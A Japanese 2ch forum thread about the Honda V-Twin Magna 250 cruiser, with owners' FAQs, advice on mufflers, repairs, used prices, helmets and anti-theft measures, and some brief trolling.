☆★V-TWIN MAGNA（マグナ）★☆Part4
1 ：７７４ＲＲ：
４００アメリカンに負けないボディサイズ。
パワーは足りないけど中低速にトルクのあるＶツインエンジン。
９３年に東京モーターショーに参考出品されてから現在に至る
まで現役のマシンです。
熱く語りましょう。
またーりで行きましょう。
Ｖ－ＴＷＩＮマグナスレですが他排気量の方も現る時がありますが仲良くやりましょう。
sage進行でお願いします。
荒らし、煽りははスルーでお願いします。
過去スレ
☆★Ｖ－ＴＷＩＮマグナ★☆
http://hobby4.2ch.net/test/read.cgi/bike/1064586296/
☆★V-TWINマグナ★☆Part2
http://hobby6.2ch.net/test/read.cgi/bike/1070818747/
☆★V-TWINマグナ★☆Part3+2の残り
http://hobby7.2ch.net/test/read.cgi/bike/1091191788/
パワーは足りないけど中低速にトルクのあるＶツインエンジン。
９３年に東京モーターショーに参考出品されてから現在に至る
まで現役のマシンです。
熱く語りましょう。
またーりで行きましょう。
Ｖ－ＴＷＩＮマグナスレですが他排気量の方も現る時がありますが仲良くやりましょう。
sage進行でお願いします。
荒らし、煽りははスルーでお願いします。
過去スレ
☆★Ｖ－ＴＷＩＮマグナ★☆
http://hobby4.2ch.net/test/read.cgi/bike/1064586296/
☆★V-TWINマグナ★☆Part2
http://hobby6.2ch.net/test/read.cgi/bike/1070818747/
☆★V-TWINマグナ★☆Part3+2の残り
http://hobby7.2ch.net/test/read.cgi/bike/1091191788/
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2 ：７７４ＲＲ：05/01/26 23:26:04 ID:KcyWwlvH
2ゲットズザー
ホンダHP
http://www.honda.co.jp/motor-lineup/v_twin_magna/index.html
関連サイト
Mag's PARTY
http://www.mag-s.net/
カスタムパーツ販売サイト
EASYRIDERS
http://www.easyriders.jp/
american dragers
http://www.yokohamalining.co.jp/
HURRICANE
http://www.jin.ne.jp/hurrican/
アメリカンドリームス
http://www.american-dreams.jp/
がレージT&F
http://www.garage-tf.info/
メタルスピード
http://www.metalspeed.co.jp/
http://www.honda.co.jp/motor-lineup/v_twin_magna/index.html
関連サイト
Mag's PARTY
http://www.mag-s.net/
カスタムパーツ販売サイト
EASYRIDERS
http://www.easyriders.jp/
american dragers
http://www.yokohamalining.co.jp/
HURRICANE
http://www.jin.ne.jp/hurrican/
アメリカンドリームス
http://www.american-dreams.jp/
がレージT&F
http://www.garage-tf.info/
メタルスピード
http://www.metalspeed.co.jp/
・アイドルが高い
左側のエアクリダミー側からキャブレターにあるアイドル調整ネジで調整。
・リアの横だしマフラーを付ける時の注意点
ブローバイホースに干渉すると熱で溶けるので耐熱テープやグラスウールを巻く。
・タンクエンブレムをSの立体エンブレムにしたい
バイク屋で片側1700円程度で買えます。ヤフオクで高値で販売している業者に気をつけよう。
・ハザードの付いているマグナってあるの？
マグナSについています。
・98年以前と99年以降との違い
フットペダルの位置が５cmほど前方に変更されており、
ポジションは楽になったかもしれないが、
エンジンガード、フォアコン等、旧型車用のカスタムパーツが使えない。
足つきを良くするためにシートのスリム化及び滑り止め。
・Sと普通のって何が違うの？
前輪にもディッシュホイール
立体タンクエンブレム
フルカバードリアクッション
アルミヘアライン仕上げのメーターパネル
パターン入りシート表皮
アルミチェーンケース
アルミバフ仕上げのオイルキャップ
クロームメッキ仕上げのメインスイッチカバー
クロームメッキ仕上げのホーンカバー
クロームメッキ仕上げのフットペダルまわり
マフラー開口部のステンレスプレート
ワイヤースプリングタイプのブレーキホースガード
ノーマルより、6000円高い
左側のエアクリダミー側からキャブレターにあるアイドル調整ネジで調整。
・リアの横だしマフラーを付ける時の注意点
ブローバイホースに干渉すると熱で溶けるので耐熱テープやグラスウールを巻く。
・タンクエンブレムをSの立体エンブレムにしたい
バイク屋で片側1700円程度で買えます。ヤフオクで高値で販売している業者に気をつけよう。
・ハザードの付いているマグナってあるの？
マグナSについています。
・98年以前と99年以降との違い
フットペダルの位置が５cmほど前方に変更されており、
ポジションは楽になったかもしれないが、
エンジンガード、フォアコン等、旧型車用のカスタムパーツが使えない。
足つきを良くするためにシートのスリム化及び滑り止め。
・Sと普通のって何が違うの？
前輪にもディッシュホイール
立体タンクエンブレム
フルカバードリアクッション
アルミヘアライン仕上げのメーターパネル
パターン入りシート表皮
アルミチェーンケース
アルミバフ仕上げのオイルキャップ
クロームメッキ仕上げのメインスイッチカバー
クロームメッキ仕上げのホーンカバー
クロームメッキ仕上げのフットペダルまわり
マフラー開口部のステンレスプレート
ワイヤースプリングタイプのブレーキホースガード
ノーマルより、6000円高い
5 ：７７４ＲＲ：05/01/27 00:15:19 ID:7EzcVnmj
8 ：７７４ＲＲ：05/01/29 01:13:34 ID:6dCnlitF
即死回避
9 ：７７４ＲＲ：05/01/29 09:00:42 ID:kNPz9cTF
/
10 ：７７４ＲＲ：05/01/29 10:07:45 ID:BVDATZKe
age
最近買ったんですがマフラーを交換しようと思ってます。
これがお勧めだよってのがあれば教えて下さい。
これがお勧めだよってのがあれば教えて下さい。
12 ：サム41：05/01/29 12:43:35 ID:AU4L3Bhx
『え？Vツインマグナ？眼中にないですね。ハハハ。マグナのってるやつみると妥協したなと思います。マグナ乗るんだったらシャドウのれよ。あのずうたいだけデカイ車体ありえないですね。ノーマルフェンダーださすぎだろ！まグナ眼中ないですね。ハハハ。』
13 ：７７４ＲＲ：05/01/29 13:25:19 ID:elWNoDAI
あ っ そ
おまいはエミリ海苔なんだろ？
16 ：774RR：05/01/29 16:06:17 ID:VZcpm18I
エリミ250V:V-TWINマグナ
全体的に見てどっち?
全体的に見てどっち?
DS250 かな
18 ：サム41：05/01/29 23:03:28 ID:AU4L3Bhx
バ、バレた～ι(◎д◎)ノヾ。。。エリミのりだすよ！マグナけなしてすいまソングm(＿)m最初はマグナ買う予定だったんですがエリミVの速さのことを聞いてエリミV買っちゃった(￥△￥;)でもエリミパーツ少なすぎだろ！マグナにしとけばよかったかな～。ナぃスゥッショット！
19 ：７７４ＲＲ：05/01/30 02:11:56 ID:2JSlO2oV
恵美里チャンは確かに速いね
友達が乗ってたんだけど、加速結構はやかった。
俺はエリミの存在しらなくてマグナ買ったけどｗ
マグナもいいバイクだった。でも今じゃ、Dトラ・・・・・
友達が乗ってたんだけど、加速結構はやかった。
俺はエリミの存在しらなくてマグナ買ったけどｗ
マグナもいいバイクだった。でも今じゃ、Dトラ・・・・・
20 ：７７４ＲＲ：05/01/31 12:50:47 ID:3o8VzqFG
最近エンジンの始動が極端に悪くなって、なんとなく様子を見ていたら、
燃焼と同時にエンジンのあたりからｶﾁｶﾁｶﾁ…という音に気づいたのですが、
これは正常な動作でしょうか？
燃焼と同時にエンジンのあたりからｶﾁｶﾁｶﾁ…という音に気づいたのですが、
これは正常な動作でしょうか？
21 ：７７４ＲＲ：05/01/31 17:27:49 ID:0zdr+T3P
異常。もうそろそろ止まる
23 ：７７４ＲＲ：05/01/31 18:28:44 ID:TfzVRq1F
ちゅーか、この寒い時期でも
アクセルちょっとあけつつセル回し続けると普通にエンジンかかるのね。
今までバッテリーあがり寸前まで粘ってみたり、
おしがけでなんとかかけてたのは何だったんだ、、、OTL
アクセルちょっとあけつつセル回し続けると普通にエンジンかかるのね。
今までバッテリーあがり寸前まで粘ってみたり、
おしがけでなんとかかけてたのは何だったんだ、、、OTL
25 ：７７４ＲＲ：05/01/31 22:57:34 ID:AbOVoxgG
最近ゲットしたんだがマグナって盗難は多いほうなの?
>>21-23
ありがとうございます。とりあえず安心しました。
ありがとうございます。とりあえず安心しました。
27 ：７７４ＲＲ：05/02/01 01:26:32 ID:VR2SJ8SD
>>25
このスレの過疎化みればわかるだろう
このスレの過疎化みればわかるだろう
28 ：７７４ＲＲ：05/02/01 01:28:25 ID:fTMeuSCg
マグナ250は加速最速共々だめぽってホント？
29 ：７７４ＲＲ：05/02/01 01:30:03 ID:VR2SJ8SD
はいはい。
全部だめ。これでいいだろ
全部だめ。これでいいだろ
30 ：７７４ＲＲ：05/02/01 17:26:49 ID:C/GEOWKh
ツインマグナはサイドバック着けられる？
>>30
シート下に挟んだりとかすれば大概のはつけれる
シート下に挟んだりとかすれば大概のはつけれる
32 ：７７４ＲＲ：05/02/01 20:47:11 ID:gHVLkdVn
>>31サンキュ
漏れは付けるのはだめぽと言われたな。
35 ：７７４ＲＲ：05/02/02 02:58:20 ID:EqmfUzNU
>>34
なんで？？
なんで？？
買い上げ前の商品だし、場所が場所だけに汚れるから、みたいな事だった希ガス。
結局、脳内でつけてみてよさげだったから買ったけど。
結局、脳内でつけてみてよさげだったから買ったけど。
ちゃんとキレイにして行ったんだけどね。
ちなみに店は南海。
ちなみに店は南海。
38 ：７７４ＲＲ：05/02/02 04:09:45 ID:uImITnXa
フルモデルチェンジまだー？？
39 ：７７４ＲＲ：05/02/03 01:52:17 ID:xjQD2mWk
フルモデルチェンジまだー？？
あるとしたらいつになりそうでつか？
もうそろそろあってもいいと思うんですけど。
それとも生産中止かなぁ。
あるとしたらいつになりそうでつか？
もうそろそろあってもいいと思うんですけど。
それとも生産中止かなぁ。
40 ：７７４ＲＲ：05/02/03 01:54:00 ID:AcBzyT3I
magna250ってやっぱ晩いんでつか？漏れの50が遅いんで
41 ：７７４ＲＲ：05/02/03 02:17:01 ID:xjQD2mWk
>>40
そもそもアメリカンは速さを求める機種ではない。
そもそもアメリカンは速さを求める機種ではない。
遅いよ。
まあアメリカンだし２５０だから諦めれ
まあアメリカンだし２５０だから諦めれ
荒れ気味なのでマジレスしてみる
>>37>>38
マグナ250が生産中止になるとするなら
アメリカンタイプの250の新作が出たらだろうね
今のところホンダでそういう発表はないからまだずーとマイナーチェンジくりかえすんじゃないの？
>>40
何と比べるかによる。
バリオスやVTR、NSRなんかと比べれば遅い。
同じアメリカンの250のドラスタやイントルーダーよりは早い。
SOHCとDOHCの差は少なからずともある。
エリミ250Vはアメリカンという枠の中なら400にも劣らない感じ。
でも高速乗っても十分に100ｋで巡航できるんだから問題ないと思う。
>>37>>38
マグナ250が生産中止になるとするなら
アメリカンタイプの250の新作が出たらだろうね
今のところホンダでそういう発表はないからまだずーとマイナーチェンジくりかえすんじゃないの？
>>40
何と比べるかによる。
バリオスやVTR、NSRなんかと比べれば遅い。
同じアメリカンの250のドラスタやイントルーダーよりは早い。
SOHCとDOHCの差は少なからずともある。
エリミ250Vはアメリカンという枠の中なら400にも劣らない感じ。
でも高速乗っても十分に100ｋで巡航できるんだから問題ないと思う。
44 ：７７４ＲＲ：05/02/03 02:45:20 ID:xjQD2mWk
>>43
周辺パーツが在庫切れ次第で販売終了、
ってホンダのページにかいてあったんすよ。
だからそろそろ来るとは思うんだけど…。
ホンダは全機種ＦＩ化するって言ってかたら、
多分そのときになるんじゃないかと思います。
＞フルモデルチェンジ
周辺パーツが在庫切れ次第で販売終了、
ってホンダのページにかいてあったんすよ。
だからそろそろ来るとは思うんだけど…。
ホンダは全機種ＦＩ化するって言ってかたら、
多分そのときになるんじゃないかと思います。
＞フルモデルチェンジ
46 ：23：05/02/03 14:56:18 ID:EdkIVST/
>>45
多分これの事じゃないかな？
http://www.honda.co.jp/ACCESS/motorcycles/VTWIN_MAGNA/
サドルバック
ラジエーターガード
サドルバックステー
バックレストキット（セット以外はＯＫなんかな？）
多分これの事じゃないかな？
http://www.honda.co.jp/ACCESS/motorcycles/VTWIN_MAGNA/
サドルバック
ラジエーターガード
サドルバックステー
バックレストキット（セット以外はＯＫなんかな？）
ヤフオクでマグナ250買おうかと思ってる俺様にアドバイスなんかをください
オクで買うのはやめとけ
ほう
だいたいでいいから店で中古いくらくらい？
だいたいでいいから店で中古いくらくらい？
50 ：７７４ＲＲ：05/02/03 19:58:41 ID:Rtcol3TB
フ ル モ デ ル チ ェ ン ジ ま だ ー ？
>>46
ｔｈｘ
アクセスのほうで在庫なくなり次第だったら車両とは別問題だから
マグナの生産終了とかは関係なさそうだね
多分FIに変更って言ってもマイナーチェンジで済ませてしまいそうな予感だし
>>49
オクで買うなら自分で現車チェックできるかどこかおかしくても自分で修理できない限りやめておけ
店なら程度にもよるけど30-45万ってところだろ
45万クラスだと新古車とかかなり程度のいいカスタム車両とかだけど
ノーマルなら35-40万くらいでそこそこのが見つかると思う
ｔｈｘ
アクセスのほうで在庫なくなり次第だったら車両とは別問題だから
マグナの生産終了とかは関係なさそうだね
多分FIに変更って言ってもマイナーチェンジで済ませてしまいそうな予感だし
>>49
オクで買うなら自分で現車チェックできるかどこかおかしくても自分で修理できない限りやめておけ
店なら程度にもよるけど30-45万ってところだろ
45万クラスだと新古車とかかなり程度のいいカスタム車両とかだけど
ノーマルなら35-40万くらいでそこそこのが見つかると思う
ｵｸで買っておかしかったらいきつけのﾊﾞｲｸ屋にもってくってことで買っちまお
35以上ならそこそこつーか、かなり良いタマかと。
54 ：７７４ＲＲ：05/02/03 23:46:09 ID:u6/J1YVy
マグナＳって今でも新車あるの？
無いって言ってんだろﾎﾞｹヾ(｀д´)ﾉﾞ
>>51
アメリカンではシャドスラ、シャドウ750の周辺パーツの一部も無くなり次第生産中止みたいやね。
forzaも旧バージョンのパーツは生産中止になっているし、何かしらのモデルチェンジはあるかもしれませんね。
>>54
Ｓは中古で手に入れるしかありませんよ。
タマ数も少ないし値段も少々高め。
アメリカンではシャドスラ、シャドウ750の周辺パーツの一部も無くなり次第生産中止みたいやね。
forzaも旧バージョンのパーツは生産中止になっているし、何かしらのモデルチェンジはあるかもしれませんね。
>>54
Ｓは中古で手に入れるしかありませんよ。
タマ数も少ないし値段も少々高め。
57 ：７７４ＲＲ：05/02/04 21:19:44 ID:MGXII2cm
よーしよしよし、そのまま生産中止だ。
そしてシャドウ２５０の発売だ。
そしてシャドウ２５０の発売だ。
ﾘｯﾀｰｸﾗｽのﾏｸﾞﾅｸﾗｼｯｸ出たら買うw
直管にする以外にあのノーマルマフラーの形を活かしたマフラーある？
スパトラで同じのあったけどなぁ、あの２本だしラッパマフラーナンバーワンスタイル！！
スパトラで同じのあったけどなぁ、あの２本だしラッパマフラーナンバーワンスタイル！！
７５０以上だったら買うかな。。
クラシックより今のスタイルが好きだな。
クラシックより今のスタイルが好きだな。
62 ：７７４ＲＲ：05/02/05 19:50:20 ID:ncXffO6F
ドラッグスターとどっちにすっかな～
63 ：７７４ＲＲ：05/02/05 20:13:59 ID:epVzRJ9G
車検気にならないならﾄﾞﾗｯｸﾞｽﾀｰにした方が後悔しないよ。
ﾏｸﾞﾅも400で車体がもう一回りﾃﾞｶければｶｯｺｲｲんだが‥
でもﾏｸﾞﾅは左側から見るととﾀﾞｻｲ。
ﾏｸﾞﾅも400で車体がもう一回りﾃﾞｶければｶｯｺｲｲんだが‥
でもﾏｸﾞﾅは左側から見るととﾀﾞｻｲ。
66 ：７７４ＲＲ：05/02/07 19:40:34 ID:qd+FTSj7
どこから見てもかっこいいわ！
今度中免とるんだけどマグナかエリミＶかで迷ってる。
多分マグナにするぜ！
多分マグナにするぜ！
>>66
純正のウインカーはどうにかしたいだろ
純正のウインカーはどうにかしたいだろ
黒のマグナSを探してくれとバロンに頼んできたが見つかるだろうか・・・・
70 ：７７４ＲＲ：05/02/08 02:20:17 ID:FmDL/BKX
だせ( ´,_ゝ｀)ﾌﾟｯ
71 ：ひみつの検疫さん：2024/11/19(火) 23:23:31 ID:MarkedRes
汚染を除去しました。
72 ：７７４ＲＲ：05/02/09 19:43:39 ID:ZIqeWpHe
ウイルスっぽいけど
テキストにしか表示されないし
なんか↑意味あるの？
テキストにしか表示されないし
なんか↑意味あるの？
73 ：７７４ＲＲ：05/02/09 19:54:14 ID:dT5lAAVc
>>72
ノートンだと反応してしまうっていうただの嫌がらせ。特に害無し。
ノートンだと反応してしまうっていうただの嫌がらせ。特に害無し。
今日思いっきりコケてミラーを取り付けてる金具が折れてステップも潰れますた
修理代いくらかかるかｶﾞｸﾌﾞﾙです
修理代いくらかかるかｶﾞｸﾌﾞﾙです
溶接とかいらないなら、1万もしないんじゃない？
たぶん部品交換になりそうなんですよね・・・話した感じだと
恐らくミラーを取り付けてる金具とステップ片方
恐らくミラーを取り付けてる金具とステップ片方
>>75
左ならハンドルホルダー1600+ミラー2900
右だとミラーを取り付けているマスターシリンダーの止める部分ごと交換だと
マスターシリンダー9800+ミラー2900+ブレーキフルード+工賃ですごい値段になる
お勧めの方法は汎用のミラーホルダー買ってきてそれで取り付け
多分1000-1500円+ミラー代
左ならハンドルホルダー1600+ミラー2900
右だとミラーを取り付けているマスターシリンダーの止める部分ごと交換だと
マスターシリンダー9800+ミラー2900+ブレーキフルード+工賃ですごい値段になる
お勧めの方法は汎用のミラーホルダー買ってきてそれで取り付け
多分1000-1500円+ミラー代
>>78
詳細サンクスです
結果から書きますと、全部で1万強くらいでした。
左側でしたが、ミラー自体は無事で、ホルダーを交換。
それとステップも交換。
よく調べたらクラッチﾚﾊﾞｰのボルトもやばくなってたので交換になるそうです。
もし右側にコケてたら(((( ;゜Д゜)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
詳細サンクスです
結果から書きますと、全部で1万強くらいでした。
左側でしたが、ミラー自体は無事で、ホルダーを交換。
それとステップも交換。
よく調べたらクラッチﾚﾊﾞｰのボルトもやばくなってたので交換になるそうです。
もし右側にコケてたら(((( ;゜Д゜)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
マグナに合うヘルメットはやっぱりジェット型ですかね？
フルフェイスは論外なんでしょうか？
フルフェイスは論外なんでしょうか？
81 ：７７４ＲＲ：05/02/12 03:16:59 ID:mLq6bBG1
>>80
見た目重視か安全性重視どちらにするかは本人次第でしょう。
ジェットは確かに似合うし、風を感じられるから好きだけど
知り合いが２人事故で大変なことになってしまったので、俺は
バイクにのるのであればフルフェにしています。
フルフェだったら助かっていたのかどうかは分りませんが・・
見た目重視か安全性重視どちらにするかは本人次第でしょう。
ジェットは確かに似合うし、風を感じられるから好きだけど
知り合いが２人事故で大変なことになってしまったので、俺は
バイクにのるのであればフルフェにしています。
フルフェだったら助かっていたのかどうかは分りませんが・・
元々ドラッグイメージで始まったバイクだし
フルフェ普通に合うと思うが。
むしろレトロチックなジェットとかの方が合わないと思う。
フルフェ普通に合うと思うが。
むしろレトロチックなジェットとかの方が合わないと思う。
84 ：７７４ＲＲ：05/02/14 00:21:57 ID:e61XKz7H
アメリカン各種のスレ見てるけどこのスレはホントに寂しいな
街中ではよく見かけるのに
どした～
街中ではよく見かけるのに
どした～
今月中に新車で購入予定。俺の近所では最近あまり見かけないな～。
冬だしね
>>84
無駄な改造をする奴が少ないからと適当に書いてみる。
無駄な改造をする奴が少ないからと適当に書いてみる。
今が旬な車種ではないけどね
でも買ってみて後悔しなかったよ
街乗りでもｷﾋﾞｷﾋﾞ走るし多少遠乗りでも疲れないし
でも買ってみて後悔しなかったよ
街乗りでもｷﾋﾞｷﾋﾞ走るし多少遠乗りでも疲れないし
89 ：７７４ＲＲ：05/02/15 12:12:57 ID:qunoAr23
街中キビキビは流石にないと言ってみるテスト
>>89
アメリカンだから確かに車重があって多少もっさりだけど
街中だったら60ｋくらいまでが常用と考えれば
そのくらいまでの速度なら十分きびきび走ると思う
シグナルグランプリやったりするような事なければ十分じゃない？
アメリカンだから確かに車重があって多少もっさりだけど
街中だったら60ｋくらいまでが常用と考えれば
そのくらいまでの速度なら十分きびきび走ると思う
シグナルグランプリやったりするような事なければ十分じゃない？
91 ：７７４ＲＲ：05/02/16 12:17:43 ID:+BZ+EBes
とにかく認めたくないのねｗ
92 ：７７４ＲＲ：05/02/16 12:45:15 ID:aCy5OQ4w
マグナよりキビキビはしるバイクってねーよな
マグナは出足がなかなか気持ちよいと思う。
まぁタンデムするとだいぶ遅くなってしまうことを考えると
体重１００キロくらいある家具氏は遅いと感じるだろう。
下のほうの加速性能はモレが今乗ってるいントルーダークラシック４００より上田
まぁタンデムするとだいぶ遅くなってしまうことを考えると
体重１００キロくらいある家具氏は遅いと感じるだろう。
下のほうの加速性能はモレが今乗ってるいントルーダークラシック４００より上田
94 ：７７４ＲＲ：05/02/16 13:51:18 ID:C6OTFE3b
マグナでNSRチギった事あるよ、みんな下手過ぎじゃない？
そんなに早く走りたいなら
レーサーレプリカでも乗ってください
糸冬 了
レーサーレプリカでも乗ってください
糸冬 了
マグナ最高！！
今年モデルの、ほんと、マジかっこいいです！！んで乗りやすい！！
マグナって、盗まれやすいんですかね？
今年モデルの、ほんと、マジかっこいいです！！んで乗りやすい！！
マグナって、盗まれやすいんですかね？
>>96
盗まれやすかいかどうかっていうのは一概に言いにくいと思う
人気車種（外国へばらして転売系）やスクーター（珍走系）の盗難に比べたら少ないと思う
でも盗まれるときは盗まれる。
対策としては止めるときはポールなとの地面に埋まっている支柱やループして埋まっているものと
バイクを頑丈なチェーンで結ぶ（地球ロック）
ブレーキディスクにディスクロックをつける
ハンドルロックをする
バイクカバーを掛けておく
最新型ならイモビライザーもオプションでつけれるから付ける
そこまでやればほぼ取られる事はないと思う。
それでも取られるようならそれは運が悪かったとしかいいようがないね。
漏れは微妙な田舎なのでフロントにバロンロックとハンドルロック、それにバイクカバーで泊めていますが
今のところいたずらされた事もないです。
盗まれやすかいかどうかっていうのは一概に言いにくいと思う
人気車種（外国へばらして転売系）やスクーター（珍走系）の盗難に比べたら少ないと思う
でも盗まれるときは盗まれる。
対策としては止めるときはポールなとの地面に埋まっている支柱やループして埋まっているものと
バイクを頑丈なチェーンで結ぶ（地球ロック）
ブレーキディスクにディスクロックをつける
ハンドルロックをする
バイクカバーを掛けておく
最新型ならイモビライザーもオプションでつけれるから付ける
そこまでやればほぼ取られる事はないと思う。
それでも取られるようならそれは運が悪かったとしかいいようがないね。
漏れは微妙な田舎なのでフロントにバロンロックとハンドルロック、それにバイクカバーで泊めていますが
今のところいたずらされた事もないです。
>>97
ありがとうございます！！
バイクカバー必要かな・・・気になっていました。
うちマンションで、自転車置き場の隅っこにバイクが所狭しと並んでいます。
駐車場も自転車置き場も被害が多発するらしく、
マンション内に警告ビラがよく貼られてるんです。
多少お金かかっても、大事なバイク。イモビライザーも検討します。
本当にありがとうございます。
ありがとうございます！！
バイクカバー必要かな・・・気になっていました。
うちマンションで、自転車置き場の隅っこにバイクが所狭しと並んでいます。
駐車場も自転車置き場も被害が多発するらしく、
マンション内に警告ビラがよく貼られてるんです。
多少お金かかっても、大事なバイク。イモビライザーも検討します。
本当にありがとうございます。
>>98
あとカバーは難燃性のやつにしとけ
いたずらで火をつけられる可能性もあるわけだが
燃えにくいカバーだと犯行に時間がかかるリスクがあるから
相手はあきらめる場合もある
ついでに雨等でバイクが濡れるのも防ぐわけだから
新品ならなおさら綺麗に乗りたいと思うだろうし
湿気を外に逃がすタイプのとかもあるから考えてみるといいよ
あとカバーは難燃性のやつにしとけ
いたずらで火をつけられる可能性もあるわけだが
燃えにくいカバーだと犯行に時間がかかるリスクがあるから
相手はあきらめる場合もある
ついでに雨等でバイクが濡れるのも防ぐわけだから
新品ならなおさら綺麗に乗りたいと思うだろうし
湿気を外に逃がすタイプのとかもあるから考えてみるといいよ
>>101
バイクを買った店とこれからも付き合っていく気があるなら
買った店で買って店との繋がりを強くしておくのもありだと思う
あとはバイクを買うときにセットと買って形だと結構まけてくれたりサービスでつけてくれたりする場合もある。
基本的にバイクパーツは定価売りに近いと思うから
ライコやナップスとかで買うのと店で買うのと値段が同じくらいなら店で買うほうがいいかも。
お勧めの方法はライコとかで自分の気に入ったカバーがあればそれの値段を覚えて店に行く
んで同じものが店でいくら位か聞いてみる。
んで値段に大差がないなら店で買えばいいしかなり違ってくるようなら予算不足で無理とか何とか言って
ライコとかで買えばいい
バイクを買った店とこれからも付き合っていく気があるなら
買った店で買って店との繋がりを強くしておくのもありだと思う
あとはバイクを買うときにセットと買って形だと結構まけてくれたりサービスでつけてくれたりする場合もある。
基本的にバイクパーツは定価売りに近いと思うから
ライコやナップスとかで買うのと店で買うのと値段が同じくらいなら店で買うほうがいいかも。
お勧めの方法はライコとかで自分の気に入ったカバーがあればそれの値段を覚えて店に行く
んで同じものが店でいくら位か聞いてみる。
んで値段に大差がないなら店で買えばいいしかなり違ってくるようなら予算不足で無理とか何とか言って
ライコとかで買えばいい
>>100
禿同！
漏れも難燃性カバーをしてるが、
ある朝、そのカバーの上にぽっかりと縁のこげた穴が開いてたよ。
多分誰かが、火の点いたタバコを置いていったんやろう。
これが普通のカバーだったかと思ったら…ｶﾞｸﾌﾞﾙAA
禿同！
漏れも難燃性カバーをしてるが、
ある朝、そのカバーの上にぽっかりと縁のこげた穴が開いてたよ。
多分誰かが、火の点いたタバコを置いていったんやろう。
これが普通のカバーだったかと思ったら…ｶﾞｸﾌﾞﾙAA
105 ：７７４ＲＲ：05/02/20 12:03:52 ID:hQNuQ1m7
hoshu
106 ：７７４ＲＲ：05/02/20 12:45:02 ID:IrFZJM8x
黒のマグナどこにもねえ～
107 ：ひみつの検疫さん：2024/11/19(火) 23:23:31 ID:MarkedRes
汚染を除去しました。
らぶれたーふろむかなーだー
ノートン使用者への嫌がらせってだけでしょ
111 ：７７４ＲＲ：05/02/21 22:16:38 ID:80/pTSoR
ばいく屋にいって、中古のマグナ250か、マグナ750で迷ってます。
シャドウ750やシャドウ四百、すてぃーど600とかも候補、支払いも考えて
安い中古狙いです。えりみーの250もかっこいいなと思います。
シャドウ1100以上は高くて買えません。125も考えましたが、デザインが
いまいち。以外と高い。大型免許あるから、マグナ750がいいかなと、
マグナ750って古いし、新車で出れば四本出しマフラーがかっこいいし買うと
思う。かといって、四百買うなら750かなと迷いますね。
シャドウ750やシャドウ四百、すてぃーど600とかも候補、支払いも考えて
安い中古狙いです。えりみーの250もかっこいいなと思います。
シャドウ1100以上は高くて買えません。125も考えましたが、デザインが
いまいち。以外と高い。大型免許あるから、マグナ750がいいかなと、
マグナ750って古いし、新車で出れば四本出しマフラーがかっこいいし買うと
思う。かといって、四百買うなら750かなと迷いますね。
112 ：７７４ＲＲ：05/02/21 22:19:58 ID:80/pTSoR
マグナ750や125に乗ってる人はいませんか?
マグナ750ってどうなんだろうと、マグナ250は新しいのがよし。
排気量で悩む。アメリカンのバイクに乗ったことがないので乗ってみたい。
マグナ750ってどうなんだろうと、マグナ250は新しいのがよし。
排気量で悩む。アメリカンのバイクに乗ったことがないので乗ってみたい。
113 ：７７４ＲＲ：05/02/21 22:23:40 ID:DdFeOls6
ｶﾈに余裕があるなら、より大きな排気量がいいよ。
もともとｸﾙｰｻﾞｰってのは、大排気量・大ﾄﾙｸに醍醐味がある。
もともとｸﾙｰｻﾞｰってのは、大排気量・大ﾄﾙｸに醍醐味がある。
↑
でもマグナ２５０は気軽でいいYO
モレは４００だから気軽じゃない。
でもマグナ２５０は気軽でいいYO
モレは４００だから気軽じゃない。
115 ：７７４ＲＲ：05/02/21 23:36:58 ID:80/pTSoR
金に余裕はないです。マグナ750は古すぎて金がかかりそうなので乗ってる人がいればアドバイスが欲しくて、
400ですか、維持がかかりそうですね。
400ですか、維持がかかりそうですね。
750マグナつってもV45MAGNAとV-fourMAGNAとあるんだが
古いっつってるから前者かな。後者は米国のみ(?)とはいえついこの間まで新車出たしね。
で、前者なら俺乗ってるけど基本的にまともなタマなら壊さなきゃ壊れない。
俺は一度キャブOHせにゃならなくなったけどその時もパーツは普通に出た。
普通に乗る分には当たり前の消耗品以外に余計な金は掛からないよ。
ただし外装はもう出ないと思った方が良いので死んでも転かさない事。
動力性能はあくまで"このテのバイクとしては"というエクスキューズ付きで最強レベル。
６速有るけど加速に振ってるのか上は200km/hちょっと過ぎた辺りで打ち止め。
ブレーキは殺人的に効かないのであんま調子に乗って飛ばすと大変な事になる。っていうかなった。
極低速で曲がるときに「ユラッ」と切れ込む事があるけどこのテのバイクの宿命だし余り気にはならない。
と、こんな所でか。後者だったとしても動力、ブレーキ性能に大差はないと思う。
Fタイヤが小さく太くなってるから極低速のハンドリングとかは違ってきそう。
古いっつってるから前者かな。後者は米国のみ(?)とはいえついこの間まで新車出たしね。
で、前者なら俺乗ってるけど基本的にまともなタマなら壊さなきゃ壊れない。
俺は一度キャブOHせにゃならなくなったけどその時もパーツは普通に出た。
普通に乗る分には当たり前の消耗品以外に余計な金は掛からないよ。
ただし外装はもう出ないと思った方が良いので死んでも転かさない事。
動力性能はあくまで"このテのバイクとしては"というエクスキューズ付きで最強レベル。
６速有るけど加速に振ってるのか上は200km/hちょっと過ぎた辺りで打ち止め。
ブレーキは殺人的に効かないのであんま調子に乗って飛ばすと大変な事になる。っていうかなった。
極低速で曲がるときに「ユラッ」と切れ込む事があるけどこのテのバイクの宿命だし余り気にはならない。
と、こんな所でか。後者だったとしても動力、ブレーキ性能に大差はないと思う。
Fタイヤが小さく太くなってるから極低速のハンドリングとかは違ってきそう。
ああ、あと400アメはやめといた方がいい。
大自二持ってたら何一つオイシイ所がない。
デザインに惚れ込んでるけど排気量バリエーションが他にない、とかなら話は別だけど。
大自二持ってたら何一つオイシイ所がない。
デザインに惚れ込んでるけど排気量バリエーションが他にない、とかなら話は別だけど。
118 ：７７４ＲＲ：05/02/22 03:46:31 ID:fOM+ux3u
四本マフラーのマグナです。二十万円台でだいぶ前に見ましたが買いませんでした。
今は売れてないので、後悔です。アメリカン経験はなし。今までは足つきの悪いネイキッドやビックバイクとか
乗ってました。車高が低いバイクやビックスクーターがのって見たくて、アメリカンの重さ、ゆーたんが怖そう。すり抜けが気になります。
マグナ250でもマグナ750でもさほど変わらないということですね。
ブレーキーだけ利かなくて、特には、今のアメリカンとの差はないと言うことですね。
クラッチが重いとか、
極低速で曲がるときに「ユラッ」と切れ込む事があるけどこのテのバイクの宿命だし余り気にはならない
ってのは、アメリカン特有って事ですね。
ちなみにいくらで購入しましたか?
大差なければ初期のマグナの四本出すがいいですね。座ったこともあるし、
足つきもいいし、後者の逆輸入のマグナは知ってます。バイクやで見たことは
ないです。何が違うかも分かりません。前者の四本出しがいいですね。
